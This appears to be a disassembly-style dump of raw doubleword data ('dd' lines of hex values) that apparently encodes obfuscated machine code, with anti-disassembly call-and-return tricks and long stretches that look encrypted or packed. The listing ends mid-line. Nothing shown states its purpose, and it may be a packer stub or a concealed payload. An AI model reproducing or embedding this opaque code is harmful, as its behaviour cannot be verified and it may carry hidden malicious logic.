62CCC357h, 308A1550h, 6E9D1BEh dd 6C000000h, 450CB1Ch, 0E18D8915h, 8B05E732h, 0E725C585h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8B0FDB3Eh, 0Dh, 8E9h, 0CF0C5700h, 0B3E738CEh dd 298B0FE4h, 60000000h, 13E9h, 58838000h, 1E9FA151h, 3E500584h dd 90D87322h, 6CB04673h, 0AE9h, 6198F200h, 0C2E6C3BFh dd 6150F28Dh, 9D01E0D1h, 5E71315h, 266D8503h, 800F05E7h dd 0Ch, 6800Fh, 0B5890000h, 5E70071h, 6AF62Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0D739E1C3h, 0F39B589h, 6A9605E7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 252EC357h dd 11E9h, 4569AD00h, 79AEF28Bh, 0C10299EFh, 9862449Eh dd 0AD66A7F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 46C35747h, 0A98E76ABh, 0F8604DD9h, 0D59D0161h dd 0C105E72Eh, 840F02E0h, 0Ch, 6860Fh, 8A0F0000h, 0 dd 0C3B70F60h, 2C998D8Bh, 36105E7h, 0E7127585h, 8E905h dd 0CF540000h, 0FF7C7386h, 96F9B5ACh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0FAC35141h, 840FA184h, 6, 128DBD09h dd 0F9AD05E7h, 24247C81h, 10000000h, 0DC870Fh, 85010000h dd 5E731B9h, 0D8A0F90h, 60000000h, 2FE49FB8h, 0F525050h dd 61585A31h, 0FE950h, 0F78F0000h, 940E593Ah, 60C7E3B3h dd 3DA751E6h, 8BF99006h, 6A282444h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F970C350h dd 0FA6CB3Ah, 1E86h, 188C0F00h, 0E9000000h, 13h, 14CEB371h dd 8A11BA21h, 0A1530D14h, 0BC6E8409h, 0E95B9030h, 0Dh dd 8BF2560Bh, 84CA50F1h, 0C9340971h, 870F50FBh, 13h, 0EE9h dd 20717D00h, 583DD979h, 1238B3FBh, 89603283h, 8DF92404h dd 0EA48C085h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 17AAA640h, 60AC5BC5h dd 0F960B7B3h, 0FF6161F9h, 4403F8D0h, 6A2424h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 27789DC3h, 8D7B58BDh, 870FFB11h, 15h, 10E9h, 0DC897700h dd 0A0B30308h, 0B9D8B27Dh, 2B8381F9h, 244489CFh, 0BE91Ch dd 3F600000h, 9F9FA87Ah, 0F647170Ch, 0F985C6D0h, 5E707h dd 7AE385C7h, 5EAh, 85C70000h, 5EA7953h, 0 dd 57006AF5h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 786B8773h, 3E5D48F5h, 22D19D89h, 0FE905E7h dd 65000000h, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh, 6A61326Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 4C45C351h, 0BE9FC7Ch, 62000000h, 0FD1C3EA2h dd 1A520168h, 8C286A2h, 359D2900h, 8B05E717h, 0E7127585h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 5E98BEEh, 72000000h, 968800C6h, 358D294Ah dd 8905E705h, 0E70351B5h, 4D26B05h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 83C35040h, 2B318D89h, 0C20305E7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 88C35545h dd 0E93B62F9h, 0Fh, 0D78C9503h, 9E6EF63Dh, 8F3C3CDBh, 605C7BD9h dd 0BE9h, 0FA01500h, 0E3278E4Ch, 2E94FB9Bh, 0BE74BA66h dd 6A9661h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0FA3E2C3h, 0E5D74489h, 0BD8B60F5h, 5E72F29h dd 7699D03h, 0AD6105E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 59C35242h, 785D0A19h, 18B0F67h, 0F9000000h dd 24247C81h, 10000000h, 0FA870Fh, 50F80000h, 8E95060h dd 95000000h, 402654DCh, 5B545810h, 8961A7B1h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 63E4CC3h, 43E54B0Eh, 0F80CC57h, 182h, 8B60FC00h, 0E7158D9Dh dd 0F8CA8105h, 613F2938h, 2824448Bh, 8759D89h, 505005E7h dd 0F525052h, 88h, 0F310F00h, 87h, 0F585A00h, 18800F31h dd 0E9000000h, 13h, 1C31091h, 414031Bh, 39386059h, 0E88A7D68h dd 5AFC5AA7h, 24048958h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 10C35343h, 893588B5h, 0E705A595h, 0C0858D05h dd 6A05EA48h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0EEEEC352h, 0C96407B4h, 898B3E4Bh dd 0E7150585h, 9589F805h, 5E70BF5h, 9589D0FFh, 5E730FDh dd 0FFFD05E9h, 0B810FFFh, 0E9000000h, 6, 0F7D39C13h, 858DA29Eh dd 5EA8F5Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 91C35242h, 87FC9A7Fh, 8002FEAAh, 11E9C7h, 10F30000h dd 80757355h, 2EF1E1F0h, 0D04D30CFh, 90CDDAF9h, 12E95250h dd 66000000h, 0FB96606h, 27AB5D4Fh, 9D123A36h, 1D770E8h dd 60310FA7h, 5E8h, 0BF401B00h, 665A2AA8h, 6144A7B8h, 6050585Ah dd 61D08B66h, 78A0F90h, 0F000000h, 186h, 0FF64F500h, 35h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0E50FAF8Eh, 7E9DFh, 8490000h, 0CE06FEC6h dd 48BF511h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 9517072h, 0B58B60D4h, 5E70659h, 0A331E181h dd 0E961532Ah, 13h, 0A109449Bh, 98B052E7h, 0EAAE658Fh dd 0E0F448C6h, 890931DCh, 0E7002585h, 59950105h, 6405E706h dd 2589h, 8DF80000h, 0EA8D6F85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0C19BB1FFh dd 29F9F7F5h, 0E70D31BDh, 1608905h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 4AC35747h, 0FAB7FE59h, 685A7BAFh dd 23BE984h, 8E0F0000h, 0Eh, 0ADC78160h, 0F774FD8h, 8Bh dd 0DB8B6100h, 0E8h, 0ED815D00h, 5EA8D68h, 12FF9CBCh, 4DBD8300h dd 5E70Dh, 858B1874h, 5E70651h, 8B0000C6h, 0E7204585h dd 0C605h, 27D195FFh, 0FF6005E7h, 0EA7557B5h, 5B858D05h dd 5005EA75h, 7753858Dh, 0FF5005EAh, 0E7062995h, 0CC48305h dd 0AE961h, 1BC0000h, 0ACAA6D5Eh, 0F5FCB0B6h, 31D59D89h dd 8DFC05E7h, 0EA7753B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 9E0CF86Ah dd 1445F829h, 89603936h, 0E70B0995h, 0DE805h, 22670000h dd 911F71C2h, 3A705567h, 8B39F28Ch, 0E70D8DBDh, 60615905h dd 17059D29h, 0EC8005E7h, 0BD8D61B9h, 5E717ADh, 14E9h dd 0A89C9A00h, 3579C4C1h, 23CB8DE5h, 49837FD0h, 0E92FEFDFh dd 3E8081h, 75840Fh, 0B0600000h, 0FAB70F8Ch, 91852961h dd 0A405E722h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 69C35141h, 91572E89h, 0DA40906Fh, 0FFBFE9FEh, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 5E9E7BC3h, 0E903236Ch, 11h, 3519BAD9h, 0F65E2885h, 201DC5C9h dd 0AE793F75h, 718D31B6h, 0B805E704h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5AC35545h dd 7931ACBBh, 89FCDC18h, 0E72C19B5h, 8D01AA05h, 5E7020Dh dd 7B8h, 2D958900h, 0C705E716h, 0E704E985h, 105h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F8F8C69Ah, 391E3A2Ah, 419529F5h, 8D05E704h, 0E74DFA8Dh dd 6840F05h, 9000000h, 0E70D599Dh, 0E1FFF805h, 81666060h dd 0BF9607EFh, 3CBEE189h, 99B58B61h, 6105E709h, 0C245C8Bh dd 0E855h, 815D0000h, 0EA8F65EDh, 0B8838B05h, 89000000h dd 0EA755785h, 61858D05h, 8905EA8Dh, 0B883h, 0C0335D00h dd 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 88D87BE5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 1AC35141h, 14E931h, 533F0000h, 0EC904B9Bh dd 0D0D9A21Fh, 0F18DDB95h, 6B867782h, 57604889h, 0FADBBE66h dd 0D8CF815Eh, 6120EB2Fh, 0C820F60h, 0F000000h, 687h, 8D0F00h dd 0FC000000h, 9230858Dh, 6A05EAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 2B15B3C3h, 0F7B93E09h dd 5ED8D31h, 9D0105E7h, 5E7245Dh, 13E950h, 77470000h, 0DA5C65B5h dd 2CE64552h, 0AD315863h, 64CB702Ch, 2404894Dh, 0B719D31h dd 0F6005E7h, 11E9F9BFh, 0C8000000h, 0DFFD7DADh, 81A735F3h dd 6F641D21h, 66DFCAADh, 35FF6461h, 0 dd 0B8D0Fh, 6E90000h, 1D000000h, 7B5E67F4h, 2589645Bh dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6FC35747h dd 6462982Dh, 0A318C6BAh, 68C0Fh, 8D890000h, 5E7249Dh dd 92B2858Dh, 880F05EAh, 19h, 14E9h, 4BAE7400h, 0D6B88545h dd 0F3874B80h, 0C54E937Dh, 4D4C64DCh, 35858934h, 8905E708h dd 95890160h, 5E72DB9h, 7F985C6h, 604F05E7h, 0B899D01h dd 8B6605E7h, 0E8F861C1h, 4, 0FEC8742Ah, 0C8D0Fh, 7E90000h dd 3F000000h, 3F25E4Ch, 0F502F9Dh, 248Fh, 0E9525000h, 13h dd 7DE5E5DDh, 93F45E5h, 59C6FDDAh, 82FE842h, 0FC8A27Ch dd 0F525031h, 5A585A31h, 24448B58h, 0A2B56004h, 0F008B61h dd 985h, 61606000h, 567D9BBBh, 44896135h, 8C0F0424h, 1Dh dd 52505250h, 585A310Fh, 0CE9310Fh, 0C2000000h, 6FB8D4E4h dd 9F726BB1h, 5A727FF9h, 0FC605858h, 17918589h, 96105E7h dd 0E719EDB5h, 0C5B5FF05h, 0E905E72Dh, 13h, 0B1D42B8Ah dd 4DF11EC2h, 2921D587h, 0E5E19C09h, 0FCC06AF1h, 7963858Dh dd 0E96005EAh, 7, 684EAC02h, 66957138h, 0FF61D98Bh, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0E9548529h, 3919D29h, 0B4E905E7h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 87DFC356h, 6610CED7h, 7E98C993h, 6860FFCh, 1000000h dd 0E72B05B5h, 245C8B05h, 0E8550Ch, 5D000000h, 923AED81h dd 858B05EAh, 5E70C25h, 2DC58589h, 858B05E7h, 5E713C5h dd 3C58589h, 858B05E7h, 5E705F1h, 2B3D8589h, 85C605E7h dd 5E707F9h, 0E385C700h, 5EA7Ah, 8D000000h, 0EA92B285h dd 0B8838905h, 5D000000h, 6AC3C033h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C7ABC355h dd 0DDE9C3F8h, 8B948666h, 318589FCh, 0BC05E70Fh, 12FF74h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 37C35747h dd 0E50DBEB4h, 0F3F07D5h, 683h, 31852900h, 6005E700h, 128D9D8Bh dd 0B70F05E7h, 8F6461FFh, 5, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 948D24A3h dd 66CB7A88h, 6A04C483h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F9E1C357h, 148E961h dd 500000h, 540000h, 580000h, 5C0000h, 600000h, 640000h dd 680000h, 6C0000h, 0B00000h, 0B40000h, 0B80000h, 0BC0000h dd 0C00000h, 0C40000h, 0C80000h, 0CC0000h, 0D00000h, 0D40000h dd 0D80000h, 0DC0000h, 0E00000h, 0E40000h, 0E80000h, 0EC0000h dd 38h dup(0) dd 76220000h, 50EB0057h, 858D00A0h, 5EA9341h, 85895951h dd 5EA9481h, 13F0F381h, 85C65E1Bh, 5E707F9h, 7E954h, 0CF360000h dd 2FBEC6C8h, 4E39688Eh, 0BA516ECAh, 3027B319h, 2404815Fh dd 7F9819F0h, 6850Fh, 958B0000h, 5E730B1h, 2DC5B5FFh, 8B0F05E7h dd 0Ch, 6800Fh, 958B0000h, 5E702F9h, 7963858Dh, 8B0F05EAh dd 8, 28F0Fh, 61600000h, 2FBED0FFh, 894A4C80h, 0EA948585h dd 0CD9D8B05h, 0E905E713h, 3Fh, 0B58B56F8h, 5EA9481h, 85830689h dd 5EA9481h, 60C35E04h, 9341B58Dh, 0FEB05EAh, 0FF006A56h dd 8595FF36h, 5E05EA94h, 8304C683h, 0EC75003Eh, 0B589C361h dd 5E70441h, 17BFBA53h, 8D5E3175h, 0EA952685h, 14E905h dd 0C1E90000h, 317B9C3Bh, 0D530A76Eh, 7E2E3EA4h, 81A15BE8h dd 8589F19Bh, 5E7318Dh, 10E8h, 36162C00h, 2057A75Bh, 38F041AFh dd 98DD53A9h, 0AE832h, 966B0000h, 0E580F0F9h, 6CE6052Ah dd 958B595Ah, 5E729E9h, 7178C181h, 68F50000h, 1C2Dh, 665EFE8Bh dd 31FFF98Bh, 8958D78Bh, 0E72CE1BDh, 61F08105h, 0F6C4F90h dd 586h, 0EB816600h, 0C0814C24h, 6CC8932Fh, 39B589h, 0C08105E7h dd 73C36D0Bh, 2821958Bh, 18905E7h, 830Fh, 0E9830000h, 398D0902h dd 4905E721h, 0BF666049h, 858BF696h, 5E71B3Dh, 850F4E61h dd 19h, 0E93BC380h, 2Dh, 333A91A8h, 7C64CCFBh, 0C7BE2E7Eh dd 60DCE1D5h, 0F1B589A5h, 0E905E712h, 0FFFFFF82h, 0EAA00A4Ah dd 2BD75A78h, 3BF5FD43h, 7080F5A0h, 0E5E9BFh, 4D100000h dd 71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh dd 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh dd 75D55FEDh, 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh dd 0DF6D171Eh, 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h dd 0D020A1E4h, 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h dd 0E0202060h, 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h dd 2BA72860h, 0D650F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h dd 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h dd 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh dd 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh dd 75D55FEDh, 6D373353h, 1E357D2Fh, 0A8000E0Ah, 54A766C1h dd 0DA43F2FDh, 0E952C92Dh, 0BD6h, 0EA996768h, 0E639E905h dd 7568FFFCh, 0E905EA9Ah, 0FFFCE62Fh, 0EA9B4A68h, 0E625E905h dd 1068FFFCh, 0E905EA9Ch, 0FFFCE61Bh, 0EA9C9268h, 0E611E905h dd 0F68FFFCh, 0E905EA9Dh, 0FFFCE607h, 0EA9E5C68h, 0E5FDE905h dd 3668FFFCh, 0E905EA9Fh, 0FFFCE5F3h, 0EAA02268h, 0E5E9E905h dd 0D668FFFCh, 0E905EAA0h, 0FFFCE5DFh, 0EAA18668h, 0E5D5E905h dd 0C5F3FFFCh, 0DAF05FF1h, 0C2CF54F4h, 0DEC956FAh, 0DDC552FEh dd 334253FDh, 0C50B337Fh, 0C50B337Eh, 0C30D2D7Eh, 0DE725474h dd 6ADEFBEBh, 69C69F75h, 0DCCF503Ah, 0D40501F1h, 1566FFE0h dd 7A5280D6h, 0F15E0654h, 43AAF0C8h, 36060D60h, 4A4C1FE8h dd 3CC1A199h, 234321F4h, 9BBBEDC0h, 5332BEB5h, 6F55E7Bh dd 91E2C95Ch, 42A624Dh, 92D7FC4h, 0E4FB4035h, 2566C69Dh dd 0C0CE3905h, 5B00A4FAh, 6FE7F33Fh, 0A8AE98A7h, 0CABE7B52h dd 57C69DE4h, 3C0D5175h, 0B0230253h, 3592BA16h, 9DE418E0h dd 0F9CA1BC6h, 0FEC0C857h, 7C404BD4h, 0D6F6C101h, 0E4442C89h dd 0E5FC69Dh, 0A896E13Dh, 28634C92h, 317A3604h, 2A912589h dd 2A0C1CACh, 882FA126h, 0C91D61F1h, 0A9000004h, 6547A52h dd 1CFEF39h, 6F8E866Ah, 19F77430h, 22EAFCCDh, 0D925151Dh dd 0E7D4B5F0h, 0ECC95C43h, 54A5959Dh, 23C1B306h, 94B7C692h dd 0C976EEF2h, 2E5661F1h, 10000000h, 0A72FEE02h, 5CFEB912h dd 1965B6C9h, 82B8E649h, 0FE7EC6A3h, 4308C692h, 0DCAA8247h dd 292EE3BEh, 0C858CF2Eh, 8461F243h, 0C5h, 547A52CEh, 0C9F13906h dd 506CBE81h, 29045579h, 98BEEED9h, 6D537542h, 80CA1B3Bh dd 6C4F6FBFh, 0E61CD1E0h, 0C5C7C375h, 0E64B3D98h, 7F48C375h dd 3315222Eh, 3CB0CF13h, 8BA47159h, 20C95CF2h, 6E8279D7h dd 8B0F27AFh, 0E5A4299h, 0BE4EEFD5h, 85923F3h, 9C14A12Dh dd 57CCB8CFh, 0D4C9110Fh, 146EC4D8h, 2C456D72h, 87CF18D1h dd 68568EB8h, 237F5F4Ch, 44A5F9CAh, 331C3C65h, 3208361Dh dd 1EDE784Dh, 53082070h, 8FDh, 1CF0F35h, 1E32103Ah, 18300831h dd 14341833h, 153B030Fh, 79A1F988h, 75A08F41h, 6BA08F41h dd 6EBE854Bh, 0A1218048h, 9F7BAC14h, 274A7C6h, 0FA566452h dd 0F55B7BADh, 31EE02D5h, 0E2E43515h, 1664545Dh, 0DBFEF437h dd 0C95CFE42h, 6DD02E7Fh, 0C692FE97h, 0AC0931E1h, 0C692FEC4h dd 0F1C48EDFh, 0C692FE0Fh, 0E9F83B04h, 7269FBE1h, 0D95B61F2h dd 6F000000h, 475D7A52h, 0CF2CE696h, 0B2FDC112h, 9568B684h dd 0C375D750h, 0A7B4818Bh, 8F714422h, 84C37511h, 0ED3A63BBh dd 90BF91E2h, 184896B8h, 5F326820h, 0CCB3F59Ah, 3296E881h dd 61DE851Bh, 72C4FCFh, 24C8F736h, 0B34C6961h, 0C8C95C02h dd 569A51FFh, 0AF571FB7h, 9DEAA60Ah, 116CBDC6h, 0B781E1A8h dd 4A231BCCh, 224A7B94h, 0E13283E2h, 0E3C151E9h, 35B5EF94h dd 7C34FCF6h, 0A823DE0Ch, 0E2D12CB9h, 0FD4A86B4h, 57D9FCB5h dd 6CC8A4A1h, 824D3203h, 2E701F3Bh, 7EF4912h, 0F9270000h dd 0E62473DDh, 0F62308C0h, 0EA3D0AC6h, 0F13906CAh, 7BE07C9h dd 0F9576753h, 0F9576752h, 0F7597952h, 0F25E60A8h, 0BE02973Fh dd 0B5C69F78h, 64521046h, 7BADFA56h, 0FD2C735Bh, 0B2569AD9h dd 404A7A52h, 0E2CD1162h, 494484AAh, 409E7A0h, 84B4FD42h dd 301857B6h, 0DF87CF2Eh, 41419467h, 47A69CB6h, 5CBF15E2h dd 143FBC9h, 0AEF0BC36h, 0C2D2924Fh, 1719A3F8h, 0E4C71034h dd 0EDF1D817h, 606FB891h, 0D9AAD35Fh, 0FDA24EC7h, 0ADAD9AB4h dd 7E5B735Ch, 0CDED60CDh, 0AA5F9CAh, 0AAF27E6h, 0C3F7C247h dd 3A123DE5h, 0F5E95F14h, 99EAD3F7h, 0D4E1E95Ah, 0D3F7F56Ch dd 19BC1667h, 0D3F7F597h, 587243ACh, 5FF1D5F7h, 9F6D8F0h dd 74D00FC8h, 1AAB3008h, 18000007h, 19262A2Ch, 14232D0Dh dd 163D132Bh, 12391737h, 0EB3A1624h, 0BC9A84DCh, 0BC9887ACh dd 0A68687ACh, 0AB8B9DAAh, 774204A5h, 0C69F7981h, 52279382h dd 6906547Ah, 0EDC88283h, 0C95CF7FCh, 0CBA0A8F9h, 0C16E6025h dd 0B099E5C5h, 0F65C7975h, 8DCC876Ch, 0DD622ABCh, 0A48BEACAh dd 27084264h, 6FE5C0E4h, 0CFF8C8C0h, 0B2A1B78Fh, 0E277E434h dd 0BE324D91h, 0EC7C57D6h, 0E5F00D5h, 4C547144h, 7041C2B1h dd 0F7D7F15Eh, 0F4DAF259h, 0A3763EA6h, 0D2CE29DDh, 0EABD85D6h dd 62B04336h, 0B63A49A4h, 0F37FFD7h, 0E202DB37h, 0F0B57E7Fh dd 0D2CE9C08h, 0D6F73A0Bh, 8DD2B7F6h, 0CAD8E781h, 93CD04F9h dd 3D157BF0h, 6549Eh, 60564200h, 6B4B43E8h, 69515EE5h dd 6D7158E7h, 6C6A54E3h, 0CEA2D1FCh, 0C956FAC0h, 0C956FAC2h dd 0C76CFCDCh, 5A6FE1C5h, 7EDBAD08h, 0ADD8C69Fh, 197D35FDh dd 0C0F42360h, 0C0D3F0FEh, 589BE4CAh, 0F0D8C725h, 0D359DEEh dd 0F6C4EA22h, 0DEF35497h, 22C960B3h, 0CA29091Dh, 99A62879h dd 9AA1AF8Fh, 314EACB2h, 0C8F0DABBh, 39892670h, 185BE6F3h dd 0B7442EBFh dd 0A55AABCCh, 7020C038h, 0D2C398B0h, 0C0000005h, 0C16EE2D4h dd 0DC6BE5C5h, 0DE65EBD3h, 0DA61EFCFh, 5362EEECh, 74424C24h dd 74404FD4h, 7E5E4FD4h, 634345D2h, 2F8ADCEDh, 0C69F7E59h dd 27F2B5Ah, 12A72FEEh, 0C960798Ch, 0CF507A4Bh, 4ED1F9DDh dd 323E7D5Dh, 3F032365h, 1494CA0h, 8AEE17B4h, 1BB39CCCh dd 1E321434h, 0EB371731h, 557D20CCh, 908B95ADh, 132D0952h dd 0C56277D0h, 1667C289h, 0A4E8669h, 0EDEE4A76h, 555h dd 0E967575Dh, 0E66A4842h, 0E0685059h, 0FC6C705Bh, 0FD536B57h dd 0C1C9A1D0h, 0DDC857F9h, 0C3C857F9h, 0C6C66DE3h, 95968E0h dd 9F7FC4ACh, 0FAACDFC6h, 5F4A7A52h, 0E7CA237Fh, 68B687A7h dd 27290D1Fh, 0E9E1A448h, 5CF0EFCCh, 479BE4C9h, 92EC02F2h dd 335774C6h, 0F27CB729h, 279561h, 2D10000h, 0FFA72FEEh dd 6547A50h, 8A63C427h, 0A7C95CFEh, 0CFB50856h, 0B9C692FEh dd 74ECF492h, 5061F272h, 107h, 206A3512h, 8EED3C02h, 993C69A3h dd 0C375E217h, 0ACF2C32Ch, 1B675743h, 84DAFC2Ch, 675391BBh dd 0D1220B57h, 0E6A55A7Fh, 33BC375h, 0AEE4BF7h, 8AE9C463h dd 87ACBC82h, 629A185h, 0F0D92505h, 0BE324DB5h, 0A3AD13A6h dd 4BA6C375h, 0C32C7D41h, 0BE1BC38Bh, 0C375A3CAh, 0DCBDF8C9h dd 0C95CB06Bh, 577756F9h, 4248A714h, 0B2C8B005h, 0FACBC692h dd 227455A9h, 26B26B01h, 0E967B0D6h, 973FDE12h, 0B8AD1702h dd 0DBF3DCCCh, 29328613h, 60AFC8A5h, 56270654h, 0D32F2F1Bh dd 4AA9FAh, 83CBF33Fh, 13DC92ABh, 5DBD3D20h, 0AB71703Ah dd 353B7A4Bh, 8C744109h, 87C8A54Fh, 2E1877B6h, 0A59A7328h dd 0FE5A701Eh, 408DDh, 34020E00h, 3F1F0F14h, 3D1D0A11h dd 21050413h, 2016002Fh, 0BAEE8528h, 0B5824E8Ch, 0B5824E8Eh dd 0B398B090h, 169BB599h, 7C9719BCh, 61ACC69Fh, 216A3509h dd 0C3CF2201h, 0DECE55FBh, 2B050F8h, 0FFA72FEEh, 0A506650h dd 8667C023h, 0A3C95CFEh, 0F5C07852h, 973C6E30h, 0EA4FB3F2h dd 0C692420Ah, 212BAF7Ch, 61F1EEAFh, 0BD9Dh, 7A522900h dd 0F15E0654h, 9ABCECCAh, 0D9147549h, 0B08ECCFAh, 75E608CDh dd 0EBD9F3C3h, 9EB283A3h, 6BB797B1h, 0D5FDA04Ch, 5CF547C0h dd 0B95DD5C9h, 30629411h, 634C017Ch, 3BDA16EDh, 5F7A0693h dd 2879CCB8h, 0D09199A6h, 0A49E73C5h, 1F2E70C8h, 1A4FA4C1h dd 17A22475h, 0C8A423A1h, 0C80051A2h, 9A073763h, 701FBA8Bh dd 2ED08BA7h, 64000003h, 65321E38h, 60CF0121h, 62C90737h dd 7EC50B2Bh, 0FFC60A30h, 90A690C8h, 90A493B8h, 9ABA93B8h dd 9FBFE9B6h, 435670B1h, 0C69F7DFDh, 52D387F6h, 0CAFA5664h dd 0E2C1B702h, 515CC375h, 684B9465h, 0AB230305h, 0D60B093h dd 0A487BB4Fh, 7D35F8A8h, 0B5C9C81h, 0E7CA29C3h, 442288A5h dd 6CB290BAh, 52EFC51Dh, 39258B2Eh, 0ED3EC375h, 676FB39Ch dd 8EEDF1D8h, 8B4569A3h, 0C62A610Ah, 4D2A8FC7h, 4AC95C31h dd 5B415679h, 0DE624CBAh, 935B7312h, 63BF9F8Ch, 0BD4E2B0Ah dd 3A6341BFh, 0F6FA95E9h, 0E03E1E09h, 6E16B889h, 0E5A052D6h dd 45A03284h, 6446FDE4h, 0EB200F79h, 0CAEFF7CBh, 769B7666h dd 0E0C32C7Dh, 8164CB13h, 0B9AA75E9h, 1BBE6668h, 769BD695h dd 541E5DAEh, 53FDC1CBh, 3DE2C4C4h, 1A3C2CF8h, 427368C0h dd 70000002h, 71DE7244h, 4CDB7555h, 4ED57B43h, 4AD17F5Fh dd 0C3D27E5Ch, 84B2FCB4h, 84B0FF44h, 8EAEFF44h, 0F3D3F542h dd 5F7A6C5Dh, 0C69F42E9h, 52CFBBEAh, 6906547Ah, 0C88283h dd 740F6F28h, 1119A5BDh, 3C9DD829h, 0C95C160Fh, 89B59BE4h dd 60437BA6h, 4BA1EABBh, 0F03F004Ah, 413782C4h, 42C69DE4h dd 1DB83271h, 0CCB4ECA0h, 0EACAC36Ch, 8576B594h, 348415B4h dd 0F18BCB5Fh, 65B01AFBh, 1006DD4h, 0AF8F9ED1h, 0D5297A53h dd 7F5736BAh, 0AFA2FFB7h, 6CCCF8BBh, 5221A811h, 51A20724h dd 0CEF6D679h, 0A6AAFBC3h, 0F2AF8F99h, 387C8037h, 8EBC1F3Bh dd 84000001h, 8592BE98h, 80AFA181h, 82A9A797h, 9EA5AB8Bh dd 1FA6AA90h, 30063068h, 30043318h, 3A1A3318h, 3F1F0916h dd 0E3369011h, 0C69F421Dh, 52B3E716h, 6906547Ah, 70C88283h dd 4451860Eh, 0C3750FFCh, 305CA6F7h, 0AF2706D1h, 5CF42D0Ah dd 0C6C72AC9h, 5ABB95E6h, 28ED038Ah, 0FFA613A6h, 4293CCBBh dd 0CDF8470Fh, 1954B589h, 0A6D228B0h, 86876577h, 982C04CCh dd 0CA9F1773h, 0DA63C427h, 2E0D9C1Ch, 0DA201801h, 0F2C3B0F3h dd 38DD13ACh, 665C0396h, 0C41503C8h, 426BBD82h, 4B9D4DA2h dd 361A6B2Bh, 621F3F69h, 34E0BEB1h, 0DEC299B1h, 0D4000000h dd 0D562EEE8h, 0D07FD1F1h, 0D279D7E7h, 2E75DBFBh, 0AF76DAE0h dd 60564018h, 605443E8h, 6A4A43E8h, 6F4F59E6h, 3386C0E1h dd 0C69F434Dh, 52635746h, 6906547Ah, 0EDC88283h, 0C95CE7C4h dd 0B34880D1h, 0A376583Dh, 0CC877CE7h, 775FA38Ch, 81DDE128h dd 60B189B6h, 85DBE21Eh, 0E1DC5CE8h, 94B49AB2h, 11B99D8Fh dd 73665219h, 0A6855F31h, 3F87E558h, 0EA221148h, 8289F6C4h dd 0E3A864BAh, 0F5945BE7h, 715577D5h, 765870DFh, 0BF01945Ch dd 0B4A1813Fh, 0C936086Bh, 2CD4FEDEh, 813F2789h, 90D33CA1h dd 39410AAEh, 0B39DA1EBh, 2F8BA4E4h, 0F694B6EBh, 0A315A02Ah dd 0A0A18195h, 0E34C0657h, 160483AAh, 2E673E39h, 4DA881DDh dd 0D7C26D75h, 4AD791EEh, 0F5C67080h, 337B6h, 23630000h dd 